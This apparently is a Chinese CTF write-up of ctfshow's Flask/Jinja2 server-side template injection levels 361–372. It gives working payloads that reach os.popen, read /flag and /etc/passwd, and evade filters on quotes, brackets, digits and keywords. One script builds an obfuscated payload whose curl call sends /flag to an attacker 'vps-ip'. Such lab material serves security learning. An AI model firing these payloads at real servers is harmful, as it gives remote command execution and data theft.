ctfshow web入门ssti

flask介绍  

Flask入门---@app.route()使用-CSDN博客

注入流程

1.获得内置类相应的类

''.__class__
().__class__
[].__class__
"".__class__

__class__可以获得内置类所对应的类

2.获得object基类

''__class__.__base__
().__class__.__base__
[].__class__.__base__
"".__class__.__base__

''.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[1]
"".__class__.__mro__[1]

__base__获得最高的父类
__mro__获得所有的父类

 3.获得所有子类

''__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
"".__class__.__base__.__subclasses__()

''.__class__.__mro__[1].__subclasses__()
().__class__.__mro__[1].__subclasses__()
[].__class__.__mro__[1].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

__subclasses__()获得所有的子类

4、获得可以执行shell命令的子类

我们一般常用的是os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令。
我们可以通过下面这段代码找到还有popen方法的子类:

num = 0
for item in ''.__class__.__base__.__subclasses__():
    try:
        if 'popen' in item.__init__.__globals__:
            print(num, item)
        num += 1
    except:
        num += 1

# __init__.__globals__可以获得类中的所有变量和方法

5、找到该子类可以执行shell命令的方法

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']

__init__.__globals__可以获得类中所有的变量以及方法

6、执行shell命令

我们执行一下whoami的命令,这里一定要记得用.read()来读取一下,因为popen方法返回的是一个file对象。

''.__class__.__base__.__subclasses__()[118].__init__.__globals__['popen']('whoami').read()

 ctfshow web入门 ssti

部分参考:

Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全_Jay 17的博客-CSDN博客

1.361 

 由题目提示,“名字就是考点”,可以猜测,改题目url的参数名应为name,输入name=world测试一下

存在ssti

2.获取内置类所对应的类

?name={{''.__class__}}

 3.获得object基类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__}}

 4、获得所有子类

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()}}

 5、获得可以执行shell命令的子类

我们可以通过一段python脚本来判断可以执行shell命令子类的索引值

import requests

for num in range(500):
    try:
        url = "http://6e8325b4-0e7e-4693-93f4-733a6a01360b.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}"
        res = requests.get(url=url).text
        if 'popen' in res:
            print(num)
    except:
        pass

 6、执行shell命令

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

 

 成功列出根目录内容

接下来获取flag

http://b399c8cc-0063-4b49-af67-6b94985ed078.challenge.ctf.show/?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

得到flag

 汇总:

2.362

多了过滤,将半角132换成全角就可以了

转换代码
def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)

得到全角数字:
'0','1','2','3','4','5','6','7','8','9'

 3.363

 过滤了单双引号

用request绕过

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a]
[request.args.b](request.args.c).read()}}
假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)
随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

比如我们要构造?name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }},但是引号不能使用了,就可以把这两处使用引号的地方替换掉,最终变成
?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag


例:
?name={{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
等同于
?name={{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}

?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
等同于
?name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}

 最终payload:

?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

?name={{ config.__class__.__init__.__globals__[request.args.a].popen(request.args.b).read() }}&a=os&b=cat ../flag


 4.364

过滤了args 。

request.args是GET传参,用其他方式传来替代args就可以了,比如cookie 。

也可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。

?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie传参:a=os;b=popen;c=cat /flag

?name={{x.__init__.__globals__[request.values.a].eval(request.values.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}

?name={{ config.__class__.__init__.__globals__[request.values.a].popen(request.values.b).read() }}&a=os&b=cat ../flag

?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag   //没看懂

5.365

原始payload:

{{''.__class__.__bases__.__getitem__(0).__subclasses__()[132].__init__.__globals__.popen('ls /').read()}}


__getitem__绕过中括号[过滤:

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen('ls /').read()}}


request对象绕过引号''、""过滤,cookie或者values绕过args过滤

{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}

Cookie传参:x=ls /

Cookie传参:x=tac /f* 

6.366

Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全_Jay 17的博客-CSDN博客

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

 7.367

过滤了os,把os写到request里面去

?a=__globals__&b=os&c=cat /flag&name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}

或者继续利用cookie传参

{{(lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read()}}
Cookie传参:x1= __globals__;x2=os;x3=tac /flag

 8.368

比上题多过滤了一个{{,我们用{%print(......)%}绕过

继续把上题的payload改改。

{%print((lipsum|attr(request.cookies.x1)).get(request.cookies.x2).popen(request.cookies.x3).read())%}

9.369

过滤了request

//构造pop
{% set po=dict(po=1,p=2)|join%}

//构造下划线 _
{% set a=(()|select|string|list)|attr(po)(24)%}

//构造request
{% set re=dict(reque=1,st=1)|join%}

//构造__init__
{% set in=(a~a~dict(init=a)|join~a~a)|join()%}

//构造__globals__
{% set gl=(a~a~dict(globals=q)|join~a~a)|join()%}

//构造__getitem__
{% set ge=(a~a~dict(getitem=a)|join~a~a)%}

//构造__builtins__
{% set bu=(a~a~dict(builtins=a)|join~a~a)|join()%}

//【构造】q.__init__.__globals__.__getitem__.__builtins__
{% set x=(q|attr(in)|attr(gl)|attr(ge))(bu)%}

//构造chr函数
{% set chr=x.chr%}

// 构造/flag
{% set f=chr(47)~(dict(flag=a)|join)%}

//读取文件/flag
{% print(x.open(f).read())%}

 执行命令cat /flag。相当于lipsum.__globals__['__builtins__'].open('/flag').read()

?name={% print (lipsum|attr(
(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
))
.get(
(config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()
)
.popen(
(config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()
).read() %}

10.370

过滤了''""[args_os{{request数字

依然可以用全角数字绕过,详见 第二题

11.371

过滤了''""[args_os{{request数字{%print

可以运用反弹shell方法(难以理解)

脚本:

import requests
cmd='__import__("os").popen("curl http://vps-ip:9023?p=`cat /flag`").read()'
def fun1(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	k=''
	t=list(set(t))
	for i in t:
		k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
	return k
def fun2(s):
	t=[]
	for i in range(len(s)):
		t.append(ord(s[i]))
	t=list(set(t))
	k=''
	for i in range(len(s)):
		if i<len(s)-1:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
		else:
			k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
	return k
url ='http://fc5ded74-98ba-4d98-a6f9-47ab2616ba41.challenge.ctf.show/?name='+fun1(cmd)+'''
{% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd='''+fun2(cmd)+'''
%}
{%if x.eval(cmd)%}
abc
{%endif%}
'''
print(url)

12.372

过滤了过滤了''""[args_os{{request数字{%printcount

和前一题一样,count换成length,或者全角数字或者用index构造数字

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值